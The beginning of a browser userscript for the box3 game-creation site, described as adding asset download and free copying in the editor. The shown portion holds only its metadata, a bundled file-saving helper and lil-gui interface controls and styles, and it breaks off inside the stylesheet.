新版 支持box3音乐下载 box3模型下载 box3地形下载 以及创作端自由复制
// ==UserScript==
// @name box3-up
// @namespace https://shequ.codemao.cn/user/2856172
// @version 1.0.0.-1
// @description 新版 支持box3音乐下载 box3模型下载 box3地形下载 以及创作端自由复制
// @author 伴雪纷飞
// @match *://box3.codemao.cn/*
// @match *://box3.ink/*
// @match *://box3.fun/*
// @match *://dao3.fun/*
// @icon https://static.box3.codemao.cn/block/QmYUaux6sbsJg2kMSVZiCLCGUiZXmL75WUKpJoV8nHzEuu
// @license GPL-3.0
// @grant GM_info
// @grant GM_openInTab
// @grant GM_setValue
// @grant unsafeWindow
// ==/UserScript==
(function() {
'use strict';
console.log('-*欢迎使用由伴雪纷飞编写的box3 up插件*-')
var _global = typeof window === 'object' && window.window === window ? window : typeof self === 'object' && self.self === self ? self : typeof global === 'object' && global.global === global ? global : void 0;
function bom(blob, opts) {
if (typeof opts === 'undefined') opts = {
autoBom: false
};else if (typeof opts !== 'object') {
console.warn('Deprecated: Expected third argument to be a object');
opts = {
autoBom: !opts
};
}
if (opts.autoBom && /^\s*(?:text\/\S*|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(blob.type)) {
return new Blob([String.fromCharCode(0xFEFF), blob], {
type: blob.type
});
}
return blob;
}
function download(url, name, opts) {
var xhr = new XMLHttpRequest();
xhr.open('GET', url);
xhr.responseType = 'blob';
xhr.onload = function () {
saveAs(xhr.response, name, opts);
};
xhr.onerror = function () {
console.error('could not download file');
};
xhr.send();
}
function corsEnabled(url) {
var xhr = new XMLHttpRequest();
xhr.open('HEAD', url, false);
try {
xhr.send();
} catch (e) {}
return xhr.status >= 200 && xhr.status <= 299;
}
function click(node) {
try {
node.dispatchEvent(new MouseEvent('click'));
} catch (e) {
var evt = document.createEvent('MouseEvents');
evt.initMouseEvent('click', true, true, window, 0, 0, 0, 80, 20, false, false, false, false, 0, null);
node.dispatchEvent(evt);
}
}
var _global = typeof window === 'object' && window.window === window ? window : typeof self === 'object' && self.self === self ? self : typeof global === 'object' && global.global === global ? global : void 0;
var isMacOSWebView = _global.navigator && /Macintosh/.test(navigator.userAgent) && /AppleWebKit/.test(navigator.userAgent) && !/Safari/.test(navigator.userAgent);
var saveAs = _global.saveAs || (
typeof window !== 'object' || window !== _global ? function saveAs() {}
: 'download' in HTMLAnchorElement.prototype && !isMacOSWebView ? function saveAs(blob, name, opts) {
var URL = _global.URL || _global.webkitURL;
var a = document.createElement('a');
name = name || blob.name || 'download';
a.download = name;
a.rel = 'noopener';
if (typeof blob === 'string') {
a.href = blob;
if (a.origin !== location.origin) {
corsEnabled(a.href) ? download(blob, name, opts) : click(a, a.target = '_blank');
} else {
click(a);
}
} else {
a.href = URL.createObjectURL(blob);
setTimeout(function () {
URL.revokeObjectURL(a.href);
}, 4E4);
setTimeout(function () {
click(a);
}, 0);
}
}
: 'msSaveOrOpenBlob' in navigator ? function saveAs(blob, name, opts) {
name = name || blob.name || 'download';
if (typeof blob === 'string') {
if (corsEnabled(blob)) {
download(blob, name, opts);
} else {
var a = document.createElement('a');
a.href = blob;
a.target = '_blank';
setTimeout(function () {
click(a);
});
}
} else {
navigator.msSaveOrOpenBlob(bom(blob, opts), name);
}
}
: function saveAs(blob, name, opts, popup) {
popup = popup || open('', '_blank');
if (popup) {
popup.document.title = popup.document.body.innerText = 'downloading...';
}
if (typeof blob === 'string') return download(blob, name, opts);
var force = blob.type === 'application/octet-stream';
var isSafari = /constructor/i.test(_global.HTMLElement) || _global.safari;
var isChromeIOS = /CriOS\/[\d]+/.test(navigator.userAgent);
if ((isChromeIOS || force && isSafari || isMacOSWebView) && typeof FileReader !== 'undefined') {
var reader = new FileReader();
reader.onloadend = function () {
var url = reader.result;
url = isChromeIOS ? url : url.replace(/^data:[^;]*;/, 'data:attachment/file;');
if (popup) popup.location.href = url;else location = url;
popup = null;
};
reader.readAsDataURL(blob);
} else {
var URL = _global.URL || _global.webkitURL;
var url = URL.createObjectURL(blob);
if (popup) popup.location = url;else location.href = url;
popup = null;
setTimeout(function () {
URL.revokeObjectURL(url);
}, 4E4);
}
});
_global.saveAs = saveAs.saveAs = saveAs;
if (typeof module !== 'undefined') {
module.exports = saveAs;
}
class Controller {
constructor(parent, object, property, className, widgetTag = "div") {
this.parent = parent;
this.object = object;
this.property = property;
this._disabled = false;
this._hidden = false;
this.initialValue = this.getValue();
this.domElement = document.createElement("div");
this.domElement.classList.add("controller");
this.domElement.classList.add(className);
this.$name = document.createElement("div");
this.$name.classList.add("name");
Controller.nextNameID = Controller.nextNameID || 0;
this.$name.id = `lil-gui-name-${++Controller.nextNameID}`;
this.$widget = document.createElement(widgetTag);
this.$widget.classList.add("widget");
this.$disable = this.$widget;
this.domElement.appendChild(this.$name);
this.domElement.appendChild(this.$widget);
this.parent.children.push(this);
this.parent.controllers.push(this);
this.parent.$children.appendChild(this.domElement);
this._listenCallback = this._listenCallback.bind(this);
this.name(property);
}
name(name) {
this._name = name;
this.$name.innerHTML = name;
return this;
}
onChange(callback) {
this._onChange = callback;
return this;
}
_callOnChange() {
this.parent._callOnChange(this);
if (this._onChange !== void 0) {
this._onChange.call(this, this.getValue());
}
this._changed = true;
}
onFinishChange(callback) {
this._onFinishChange = callback;
return this;
}
_callOnFinishChange() {
if (this._changed) {
this.parent._callOnFinishChange(this);
if (this._onFinishChange !== void 0) {
this._onFinishChange.call(this, this.getValue());
}
}
this._changed = false;
}
reset() {
this.setValue(this.initialValue);
this._callOnFinishChange();
return this;
}
enable(enabled = true) {
return this.disable(!enabled);
}
disable(disabled = true) {
if (disabled === this._disabled)
return this;
this._disabled = disabled;
this.domElement.classList.toggle("disabled", disabled);
this.$disable.toggleAttribute("disabled", disabled);
return this;
}
show(show = true) {
this._hidden = !show;
this.domElement.style.display = this._hidden ? "none" : "";
return this;
}
hide() {
return this.show(false);
}
options(options) {
const controller = this.parent.add(this.object, this.property, options);
controller.name(this._name);
this.destroy();
return controller;
}
min(min) {
return this;
}
max(max) {
return this;
}
step(step) {
return this;
}
decimals(decimals) {
return this;
}
listen(listen = true) {
this._listening = listen;
if (this._listenCallbackID !== void 0) {
cancelAnimationFrame(this._listenCallbackID);
this._listenCallbackID = void 0;
}
if (this._listening) {
this._listenCallback();
}
return this;
}
_listenCallback() {
this._listenCallbackID = requestAnimationFrame(this._listenCallback);
const curValue = this.save();
if (curValue !== this._listenPrevValue) {
this.updateDisplay();
}
this._listenPrevValue = curValue;
}
getValue() {
return this.object[this.property];
}
setValue(value) {
this.object[this.property] = value;
this._callOnChange();
this.updateDisplay();
return this;
}
updateDisplay() {
return this;
}
load(value) {
this.setValue(value);
this._callOnFinishChange();
return this;
}
save() {
return this.getValue();
}
destroy() {
this.listen(false);
this.parent.children.splice(this.parent.children.indexOf(this), 1);
this.parent.controllers.splice(this.parent.controllers.indexOf(this), 1);
this.parent.$children.removeChild(this.domElement);
}
}
class BooleanController extends Controller {
constructor(parent, object, property) {
super(parent, object, property, "boolean", "label");
this.$input = document.createElement("input");
this.$input.setAttribute("type", "checkbox");
this.$input.setAttribute("aria-labelledby", this.$name.id);
this.$widget.appendChild(this.$input);
this.$input.addEventListener("change", () => {
this.setValue(this.$input.checked);
this._callOnFinishChange();
});
this.$disable = this.$input;
this.updateDisplay();
}
updateDisplay() {
this.$input.checked = this.getValue();
return this;
}
}
function normalizeColorString(string) {
let match, result;
if (match = string.match(/(#|0x)?([a-f0-9]{6})/i)) {
result = match[2];
} else if (match = string.match(/rgb\(\s*(\d*)\s*,\s*(\d*)\s*,\s*(\d*)\s*\)/)) {
result = parseInt(match[1]).toString(16).padStart(2, 0) + parseInt(match[2]).toString(16).padStart(2, 0) + parseInt(match[3]).toString(16).padStart(2, 0);
} else if (match = string.match(/^#?([a-f0-9])([a-f0-9])([a-f0-9])$/i)) {
result = match[1] + match[1] + match[2] + match[2] + match[3] + match[3];
}
if (result) {
return "#" + result;
}
return false;
}
const STRING = {
isPrimitive: true,
match: (v) => typeof v === "string",
fromHexString: normalizeColorString,
toHexString: normalizeColorString
};
const INT = {
isPrimitive: true,
match: (v) => typeof v === "number",
fromHexString: (string) => parseInt(string.substring(1), 16),
toHexString: (value) => "#" + value.toString(16).padStart(6, 0)
};
const ARRAY = {
isPrimitive: false,
match: Array.isArray,
fromHexString(string, target, rgbScale = 1) {
const int = INT.fromHexString(string);
target[0] = (int >> 16 & 255) / 255 * rgbScale;
target[1] = (int >> 8 & 255) / 255 * rgbScale;
target[2] = (int & 255) / 255 * rgbScale;
},
toHexString([r, g, b], rgbScale = 1) {
rgbScale = 255 / rgbScale;
const int = r * rgbScale << 16 ^ g * rgbScale << 8 ^ b * rgbScale << 0;
return INT.toHexString(int);
}
};
const OBJECT = {
isPrimitive: false,
match: (v) => Object(v) === v,
fromHexString(string, target, rgbScale = 1) {
const int = INT.fromHexString(string);
target.r = (int >> 16 & 255) / 255 * rgbScale;
target.g = (int >> 8 & 255) / 255 * rgbScale;
target.b = (int & 255) / 255 * rgbScale;
},
toHexString({ r, g, b }, rgbScale = 1) {
rgbScale = 255 / rgbScale;
const int = r * rgbScale << 16 ^ g * rgbScale << 8 ^ b * rgbScale << 0;
return INT.toHexString(int);
}
};
const FORMATS = [STRING, INT, ARRAY, OBJECT];
function getColorFormat(value) {
return FORMATS.find((format) => format.match(value));
}
class ColorController extends Controller {
constructor(parent, object, property, rgbScale) {
super(parent, object, property, "color");
this.$input = document.createElement("input");
this.$input.setAttribute("type", "color");
this.$input.setAttribute("tabindex", -1);
this.$input.setAttribute("aria-labelledby", this.$name.id);
this.$text = document.createElement("input");
this.$text.setAttribute("type", "text");
this.$text.setAttribute("spellcheck", "false");
this.$text.setAttribute("aria-labelledby", this.$name.id);
this.$display = document.createElement("div");
this.$display.classList.add("display");
this.$display.appendChild(this.$input);
this.$widget.appendChild(this.$display);
this.$widget.appendChild(this.$text);
this._format = getColorFormat(this.initialValue);
this._rgbScale = rgbScale;
this._initialValueHexString = this.save();
this._textFocused = false;
this.$input.addEventListener("input", () => {
this._setValueFromHexString(this.$input.value);
});
this.$input.addEventListener("blur", () => {
this._callOnFinishChange();
});
this.$text.addEventListener("input", () => {
const tryParse = normalizeColorString(this.$text.value);
if (tryParse) {
this._setValueFromHexString(tryParse);
}
});
this.$text.addEventListener("focus", () => {
this._textFocused = true;
this.$text.select();
});
this.$text.addEventListener("blur", () => {
this._textFocused = false;
this.updateDisplay();
this._callOnFinishChange();
});
this.$disable = this.$text;
this.updateDisplay();
}
reset() {
this._setValueFromHexString(this._initialValueHexString);
return this;
}
_setValueFromHexString(value) {
if (this._format.isPrimitive) {
const newValue = this._format.fromHexString(value);
this.setValue(newValue);
} else {
this._format.fromHexString(value, this.getValue(), this._rgbScale);
this._callOnChange();
this.updateDisplay();
}
}
save() {
return this._format.toHexString(this.getValue(), this._rgbScale);
}
load(value) {
this._setValueFromHexString(value);
this._callOnFinishChange();
return this;
}
updateDisplay() {
this.$input.value = this._format.toHexString(this.getValue(), this._rgbScale);
if (!this._textFocused) {
this.$text.value = this.$input.value.substring(1);
}
this.$display.style.backgroundColor = this.$input.value;
return this;
}
}
class FunctionController extends Controller {
constructor(parent, object, property) {
super(parent, object, property, "function");
this.$button = document.createElement("button");
this.$button.appendChild(this.$name);
this.$widget.appendChild(this.$button);
this.$button.addEventListener("click", (e) => {
e.preventDefault();
this.getValue().call(this.object);
});
this.$button.addEventListener("touchstart", () => {
}, { passive: true });
this.$disable = this.$button;
}
}
class NumberController extends Controller {
constructor(parent, object, property, min, max, step) {
super(parent, object, property, "number");
this._initInput();
this.min(min);
this.max(max);
const stepExplicit = step !== void 0;
this.step(stepExplicit ? step : this._getImplicitStep(), stepExplicit);
this.updateDisplay();
}
decimals(decimals) {
this._decimals = decimals;
this.updateDisplay();
return this;
}
min(min) {
this._min = min;
this._onUpdateMinMax();
return this;
}
max(max) {
this._max = max;
this._onUpdateMinMax();
return this;
}
step(step, explicit = true) {
this._step = step;
this._stepExplicit = explicit;
return this;
}
updateDisplay() {
const value = this.getValue();
if (this._hasSlider) {
let percent = (value - this._min) / (this._max - this._min);
percent = Math.max(0, Math.min(percent, 1));
this.$fill.style.width = percent * 100 + "%";
}
if (!this._inputFocused) {
this.$input.value = this._decimals === void 0 ? value : value.toFixed(this._decimals);
}
return this;
}
_initInput() {
this.$input = document.createElement("input");
this.$input.setAttribute("type", "number");
this.$input.setAttribute("step", "any");
this.$input.setAttribute("aria-labelledby", this.$name.id);
this.$widget.appendChild(this.$input);
this.$disable = this.$input;
const onInput = () => {
let value = parseFloat(this.$input.value);
if (isNaN(value))
return;
if (this._stepExplicit) {
value = this._snap(value);
}
this.setValue(this._clamp(value));
};
const increment = (delta) => {
const value = parseFloat(this.$input.value);
if (isNaN(value))
return;
this._snapClampSetValue(value + delta);
this.$input.value = this.getValue();
};
const onKeyDown = (e) => {
if (e.code === "Enter") {
this.$input.blur();
}
if (e.code === "ArrowUp") {
e.preventDefault();
increment(this._step * this._arrowKeyMultiplier(e));
}
if (e.code === "ArrowDown") {
e.preventDefault();
increment(this._step * this._arrowKeyMultiplier(e) * -1);
}
};
const onWheel = (e) => {
if (this._inputFocused) {
e.preventDefault();
increment(this._step * this._normalizeMouseWheel(e));
}
};
let testingForVerticalDrag = false, initClientX, initClientY, prevClientY, initValue, dragDelta;
const DRAG_THRESH = 5;
const onMouseDown = (e) => {
initClientX = e.clientX;
initClientY = prevClientY = e.clientY;
testingForVerticalDrag = true;
initValue = this.getValue();
dragDelta = 0;
window.addEventListener("mousemove", onMouseMove);
window.addEventListener("mouseup", onMouseUp);
};
const onMouseMove = (e) => {
if (testingForVerticalDrag) {
const dx = e.clientX - initClientX;
const dy = e.clientY - initClientY;
if (Math.abs(dy) > DRAG_THRESH) {
e.preventDefault();
this.$input.blur();
testingForVerticalDrag = false;
this._setDraggingStyle(true, "vertical");
} else if (Math.abs(dx) > DRAG_THRESH) {
onMouseUp();
}
}
if (!testingForVerticalDrag) {
const dy = e.clientY - prevClientY;
dragDelta -= dy * this._step * this._arrowKeyMultiplier(e);
if (initValue + dragDelta > this._max) {
dragDelta = this._max - initValue;
} else if (initValue + dragDelta < this._min) {
dragDelta = this._min - initValue;
}
this._snapClampSetValue(initValue + dragDelta);
}
prevClientY = e.clientY;
};
const onMouseUp = () => {
this._setDraggingStyle(false, "vertical");
this._callOnFinishChange();
window.removeEventListener("mousemove", onMouseMove);
window.removeEventListener("mouseup", onMouseUp);
};
const onFocus = () => {
this._inputFocused = true;
};
const onBlur = () => {
this._inputFocused = false;
this.updateDisplay();
this._callOnFinishChange();
};
this.$input.addEventListener("input", onInput);
this.$input.addEventListener("keydown", onKeyDown);
this.$input.addEventListener("wheel", onWheel, { passive: false });
this.$input.addEventListener("mousedown", onMouseDown);
this.$input.addEventListener("focus", onFocus);
this.$input.addEventListener("blur", onBlur);
}
_initSlider() {
this._hasSlider = true;
this.$slider = document.createElement("div");
this.$slider.classList.add("slider");
this.$fill = document.createElement("div");
this.$fill.classList.add("fill");
this.$slider.appendChild(this.$fill);
this.$widget.insertBefore(this.$slider, this.$input);
this.domElement.classList.add("hasSlider");
const map = (v, a, b, c, d) => {
return (v - a) / (b - a) * (d - c) + c;
};
const setValueFromX = (clientX) => {
const rect = this.$slider.getBoundingClientRect();
let value = map(clientX, rect.left, rect.right, this._min, this._max);
this._snapClampSetValue(value);
};
const mouseDown = (e) => {
this._setDraggingStyle(true);
setValueFromX(e.clientX);
window.addEventListener("mousemove", mouseMove);
window.addEventListener("mouseup", mouseUp);
};
const mouseMove = (e) => {
setValueFromX(e.clientX);
};
const mouseUp = () => {
this._callOnFinishChange();
this._setDraggingStyle(false);
window.removeEventListener("mousemove", mouseMove);
window.removeEventListener("mouseup", mouseUp);
};
let testingForScroll = false, prevClientX, prevClientY;
const beginTouchDrag = (e) => {
e.preventDefault();
this._setDraggingStyle(true);
setValueFromX(e.touches[0].clientX);
testingForScroll = false;
};
const onTouchStart = (e) => {
if (e.touches.length > 1)
return;
if (this._hasScrollBar) {
prevClientX = e.touches[0].clientX;
prevClientY = e.touches[0].clientY;
testingForScroll = true;
} else {
beginTouchDrag(e);
}
window.addEventListener("touchmove", onTouchMove, { passive: false });
window.addEventListener("touchend", onTouchEnd);
};
const onTouchMove = (e) => {
if (testingForScroll) {
const dx = e.touches[0].clientX - prevClientX;
const dy = e.touches[0].clientY - prevClientY;
if (Math.abs(dx) > Math.abs(dy)) {
beginTouchDrag(e);
} else {
window.removeEventListener("touchmove", onTouchMove);
window.removeEventListener("touchend", onTouchEnd);
}
} else {
e.preventDefault();
setValueFromX(e.touches[0].clientX);
}
};
const onTouchEnd = () => {
this._callOnFinishChange();
this._setDraggingStyle(false);
window.removeEventListener("touchmove", onTouchMove);
window.removeEventListener("touchend", onTouchEnd);
};
const callOnFinishChange = this._callOnFinishChange.bind(this);
const WHEEL_DEBOUNCE_TIME = 400;
let wheelFinishChangeTimeout;
const onWheel = (e) => {
const isVertical = Math.abs(e.deltaX) < Math.abs(e.deltaY);
if (isVertical && this._hasScrollBar)
return;
e.preventDefault();
const delta = this._normalizeMouseWheel(e) * this._step;
this._snapClampSetValue(this.getValue() + delta);
this.$input.value = this.getValue();
clearTimeout(wheelFinishChangeTimeout);
wheelFinishChangeTimeout = setTimeout(callOnFinishChange, WHEEL_DEBOUNCE_TIME);
};
this.$slider.addEventListener("mousedown", mouseDown);
this.$slider.addEventListener("touchstart", onTouchStart, { passive: false });
this.$slider.addEventListener("wheel", onWheel, { passive: false });
}
_setDraggingStyle(active, axis = "horizontal") {
if (this.$slider) {
this.$slider.classList.toggle("active", active);
}
document.body.classList.toggle("lil-gui-dragging", active);
document.body.classList.toggle(`lil-gui-${axis}`, active);
}
_getImplicitStep() {
if (this._hasMin && this._hasMax) {
return (this._max - this._min) / 1e3;
}
return 0.1;
}
_onUpdateMinMax() {
if (!this._hasSlider && this._hasMin && this._hasMax) {
if (!this._stepExplicit) {
this.step(this._getImplicitStep(), false);
}
this._initSlider();
this.updateDisplay();
}
}
_normalizeMouseWheel(e) {
let { deltaX, deltaY } = e;
if (Math.floor(e.deltaY) !== e.deltaY && e.wheelDelta) {
deltaX = 0;
deltaY = -e.wheelDelta / 120;
deltaY *= this._stepExplicit ? 1 : 10;
}
const wheel = deltaX + -deltaY;
return wheel;
}
_arrowKeyMultiplier(e) {
let mult = this._stepExplicit ? 1 : 10;
if (e.shiftKey) {
mult *= 10;
} else if (e.altKey) {
mult /= 10;
}
return mult;
}
_snap(value) {
const r = Math.round(value / this._step) * this._step;
return parseFloat(r.toPrecision(15));
}
_clamp(value) {
if (value < this._min)
value = this._min;
if (value > this._max)
value = this._max;
return value;
}
_snapClampSetValue(value) {
this.setValue(this._clamp(this._snap(value)));
}
get _hasScrollBar() {
const root = this.parent.root.$children;
return root.scrollHeight > root.clientHeight;
}
get _hasMin() {
return this._min !== void 0;
}
get _hasMax() {
return this._max !== void 0;
}
}
class OptionController extends Controller {
constructor(parent, object, property, options) {
super(parent, object, property, "option");
this.$select = document.createElement("select");
this.$select.setAttribute("aria-labelledby", this.$name.id);
this.$display = document.createElement("div");
this.$display.classList.add("display");
this._values = Array.isArray(options) ? options : Object.values(options);
this._names = Array.isArray(options) ? options : Object.keys(options);
this._names.forEach((name) => {
const $option = document.createElement("option");
$option.innerHTML = name;
this.$select.appendChild($option);
});
this.$select.addEventListener("change", () => {
this.setValue(this._values[this.$select.selectedIndex]);
this._callOnFinishChange();
});
this.$select.addEventListener("focus", () => {
this.$display.classList.add("focus");
});
this.$select.addEventListener("blur", () => {
this.$display.classList.remove("focus");
});
this.$widget.appendChild(this.$select);
this.$widget.appendChild(this.$display);
this.$disable = this.$select;
this.updateDisplay();
}
updateDisplay() {
const value = this.getValue();
const index = this._values.indexOf(value);
this.$select.selectedIndex = index;
this.$display.innerHTML = index === -1 ? value : this._names[index];
return this;
}
}
class StringController extends Controller {
constructor(parent, object, property) {
super(parent, object, property, "string");
this.$input = document.createElement("input");
this.$input.setAttribute("type", "text");
this.$input.setAttribute("aria-labelledby", this.$name.id);
this.$input.addEventListener("input", () => {
this.setValue(this.$input.value);
});
this.$input.addEventListener("keydown", (e) => {
if (e.code === "Enter") {
this.$input.blur();
}
});
this.$input.addEventListener("blur", () => {
this._callOnFinishChange();
});
this.$widget.appendChild(this.$input);
this.$disable = this.$input;
this.updateDisplay();
}
updateDisplay() {
this.$input.value = this.getValue();
return this;
}
}
const stylesheet = `.lil-gui {
font-family: var(--font-family);
font-size: var(--font-size);
line-height: 1;
font-weight: normal;
font-style: normal;
text-align: left;
background-color: var(--background-color);
color: var(--text-color);
user-select: none;
-webkit-user-select: none;
touch-action: manipulation;
--background-color: #1f1f1f;
--text-color: #ebebeb;
--title-background-color: #111111;
--title-text-color: #ebebeb;
--widget-color: #424242;
--hover-color: #4f4f4f;
--focus-color: #595959;
--number-color: #2cc9ff;
--string-color: #a2db3c;
--font-size: 11px;
--input-font-size: 11px;
--font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
--font-family-mono: Menlo, Monaco, Consolas, "Droid Sans Mono", monospace;
--padding: 4px;
--spacing: 4px;
--widget-height: 20px;
--name-width: 45%;
--slider-knob-width: 2px;
--slider-input-width: 27%;
--color-input-width: 27%;
--slider-input-min-width: 45px;
--color-input-min-width: 45px;
--folder-indent: 7px;
--widget-padding: 0 0 0 3px;
--widget-border-radius: 2px;
--checkbox-size: calc(0.75 * var(--widget-height));
--scrollbar-width: 5px;
}
.lil-gui, .lil-gui * {
box-sizing: border-box;
margin: 0;
padding: 0;
}
.lil-gui.root {
width: var(--width, 245px);
display: flex;
flex-direction: column;
}
.lil-gui.root > .title {
background: var(--title-background-color);
color: var(--title-text-color);
}
.lil-gui.root > .children {
overflow-x: hidden;
overflow-y: auto;
}
.lil-gui.root > .children::-webkit-scrollbar {
width: var(--scrollbar-width);
height: var(--scrollbar-width);
background: var(--background-color);
}
.lil-gui.root > .children::-webkit-scrollbar-thumb {
border-radius: var(--scrollbar-width);
background: var(--focus-color);
}
@media (pointer: coarse) {
.lil-gui.allow-touch-styles {
--widget-height: 28px;
--padding: 6px;
--spacing: 6px;
--font-size: 13px;
--input-font-size: 16px;
--folder-indent: 10px;
--scrollbar-width: 7px;
--slider-input-min-width: 50px;
--color-input-min-width: 65px;
}
}
.lil-gui.force-touch-styles {
--widget-height: 28px;
--padding: 6px;
--spacing: 6px;
--font-size: 13px;
--input-font-size: 16px;
--folder-indent: 10px;
--scrollbar-width: 7px;
--slider-input-min-width: 50px;
--color-input-min-width: 65px;
}
.lil-gui.autoPlace {
max-height: 100%;
position: fixed;
top: 0;
right: 15px;
z-index: 1001;
}
.lil-gui .controller {
display: flex;
align-items: center;
padding: 0 var(--padding);
margin: var(--spacing) 0;
}
.lil-gui .controller.disabled {
opacity: 0.5;
}
.lil-gui .controller.disabled, .lil-gui .controller.disabled * {
pointer-events: none !important;
}
.lil-gui .controller > .name {
min-width: var(--name-width);
flex-shrink: 0;
white-space: pre;
padding-right: var(--spacing);
line-height: var(--widget-height);
}
.lil-gui .controller .widget {
position: relative;
display: flex;
align-items: center;
width: 100%;
min-height: var(--widget-height);
}
.lil-gui .controller.string input {
color: var(--string-color);
}
.lil-gui .controller.boolean .widget {
cursor: pointer;
}
.lil-gui .controller.color .display {
width: 100%;
height: var(--widget-height);
border-radius: var(--widget-border-radius);
position: relative;
}
@media (hover: hover) {
.lil-gui .controller.color .display:hover:before {
content: " ";
display: block;
position: absolute;
border-radius: var(--widget-border-radius);
border: 1px solid #fff9;
top: 0;
right: 0;
bottom: 0;
left: 0;
}
}
.lil-gui .controller.color input[type=color] {
opacity: 0;
width: 100%;
height: 100%;
cursor: pointer;
}
.lil-gui .controller.color input[type=text] {
margin-left: var(--spacing);
font-family: var(--font-family-mono);
min-width: var(--color-input-min-width);
width: var(--color-input-width);
flex-shrink: 0;
}
.lil-gui .controller.option select {
opacity: 0;
position: absolute;
width: 100%;
max-width: 100%;
}
.lil-gui .controller.option .display {
position: relative;
pointer-events: none;
border-radius: var(--widget-border-radius);
height: var(--widget-height);
line-height: var(--widget-height);
max-width: 100%;
overflow: hidden;
word-break: break-all;
padding-left: 0.55em;
padding-right: 1.75em;
background: var(--widget-color);
}
@media (hover: hover) {
.lil-gui .controller.option .display.focus {
background: var(--focus-color);
}
}
.lil-gui .controller.option .display.active {
background: var(--focus-color);
}
.lil-gui .controller.option .display:after {
font-family: "lil-gui";
content: "↕";
position: absolute;
top: 0;
right: 0;
bottom: 0;
padding-right: 0.375em;
}
.lil-gui .controller.option .widget,
.lil-gui .controller.option select {
cursor: pointer;
}
@media (hover: hover) {
.lil-gui .controller.option .widget:hover .display {
background: var(--hover-color);
}
}
.lil-gui .controller.number input {
color: var(--number-color);
}
.lil-gui .controller.number.hasSlider input {
margin-left: var(--spacing);
width: var(--slider-input-width);
min-width: var(--slider-input-min-width);
flex-shrink: 0;
}
.lil-gui .controller.number .slider {
width: 100%;
height: var(--widget-height);
background-color: var(--widget-color);
border-radius: var(--widget-border-radius);
padding-right: var(--slider-knob-width);
overflow: hidden;
cursor: ew-resize;
touch-action: pan-y;
}
@media (hover: hover) {
.lil-gui .controller.number .slider:hover {
background-color: var(--hover-color);
}
}
.lil-gui .controller.number .slider.active {
background-color: var(--focus-color);
}
.lil-gui .controller.number .slider.active .fill {
opacity: 0.95;
}
.lil-gui .controller.number .fill {
height: 100%;
border-right: var(--slider-knob-width) solid var(--number-color);
box-sizing: content-box;
}
.lil-gui-dragging .lil-gui {
--hover-color: var(--widget-color);
}
.lil-gui-dragging * {
cursor: ew-resize !important;
}
.lil-gui-dragging.lil-gui-vertical * {
cursor: ns-resize !important;
}
.lil-gui .title {
--title-height: calc(var(--widget-height) + var(--spacing) * 1.25);
height: var(--title-height);
line-height: calc(var(--title-height) - 4px);
font-weight: 600;
padding: 0 var(--padding);
-webkit-tap-highlight-color: transparent;
cursor: pointer;
outline: none;
text-decoration-skip: objects;
}
.lil-gui .title:before {
font-family: "lil-gui";
content: "▾";
padding-right: 2px;
display: inline-block;
}
.lil-gui .title:active {
background: var(--title-background-color);
opacity: 0.75;
}
@media (hover: hover) {
body:not(.lil-gui-dragging) .lil-gui .title:hover {
background: var(--title-background-color);
opacity: 0.85;
}
.lil-gui .title:focus {
text-decoration: underline var(--focus-color);
}
}
.lil-gui.root > .title:focus {
text-decoration: none !important;
}
.lil-gui.closed > .title:before {
content: "▸";
}
.lil-gui.closed > .children {
transform: translateY(-7px);
opacity: 0;
}
.lil-gui.closed:not(.transition) > .children {
display: none;
}
.lil-gui.transition > .children {
transition-duration: 300ms;
transition-property: height, opacity, transform;
transition-timing-function: cubic-bezier(0.2, 0.6, 0.35, 1);
overflow: hidden;
pointer-events: none;
}
.lil-gui .children:empty:before {
content: "Empty";
padding: 0 var(--padding);
margin: var(--spacing) 0;
display: block;
height: var(--widget-height);
font-style: italic;
line-height: var(--widget-height);
opacity: 0.5;
}
.lil-gui.root > .children > .lil-gui > .title {
border: 0 solid var(--widget-color);
border-width: 1px 0;
transition: border-color 300ms;
}
.lil-gui.root > .children > .lil-gui.closed > .title {
border-bottom-color: transparent;
}
.lil-gui + .controller {
border-top: 1px solid var(--widget-color);
margin-top: 0;
padding-top: var(--spacing);
}
.lil-gui .lil-gui .lil-gui > .title {
border: none;
}
.lil-gui .lil-gui .lil-gui > .children {
border: none;
margin-left: var(--folder-indent);
border-left: 2px solid var(--widget-color);
}
.lil-gui .lil-gui .controller {
border: none;
}
.lil-gui input {
-webkit-tap-highlight-color: transparent;
border: 0;
outline: none;
font-family: var(--font-family);
font-size: var(--input-font-size);
border-radius: var(--widget-border-radius);
height: var(--widget-height);
background: var(--widget-color);
color: var(--text-color);
width: 100%;
}
@media (hover: hover) {
.lil-gui input:hover {
background: var(--hover-color);
}
.lil-gui input:active {
background: var(--focus-color);
}
}
.lil-gui input:disabled {
opacity: 1;
}
.lil-gui input[type=text],
.lil-gui input[type=number] {
padding: var(--widget-padding);
}
.lil-gui input[type=text]:focus,
.lil-gui input[type=number]:focus {
background: var(--focus-color);
}
.lil-gui input::-webkit-outer-spin-button,
.lil-gui input::-webkit-inner-spin-button {
-webkit-appearance: none;
margin: 0;
}
.lil-gui input[type=number] {
-moz-appearance: textfield;
}
.lil-gui input[type=checkbox] {
appearance: none;
-webkit-appearance: none;
height: var(--checkbox-size);
width: var(--checkbox-size);
border-radius: var(--widget-border-radius);
text-align: center;
cursor: pointer;
}
.lil-gui input[type=checkbox]:checked:before {
font-family: "lil-gui";
content: "✓";
font-size: var(--checkbox-size);
line-height: var(--checkbox-size);
}
@media (hover: hover) {
.lil-gui input[type=checkbox]:focus {
box-shadow: inset 0 0 0 1px var(--focus-color);
}
}
.lil-gui button {
-webkit-tap-highlight-color: transparent;
outline: none;
cursor: pointer;
font-family: var(--font-family);
font-size: var(--font-size);
color: var(--text-color);
width: 100%;
height: var(--widget-height);
text-transform: none;
background: var(--widget-color);
border-radius: var(--widget-border-radius);
border: 1px solid var(--widget-color);
text-align: center;
line-height: calc(var(--widget-height) - 4px);
}
@media (hover: hover) {
.lil-gui button:hover {
background: var(--hover-color);
border-color: var(--hover-color);
}
.lil-gui button:focus {
border-color: var(--focus-color);
}
}
.lil-gui button:active {
background: var(--focus-color);
}
@font-face {
font-family: "lil-gui";
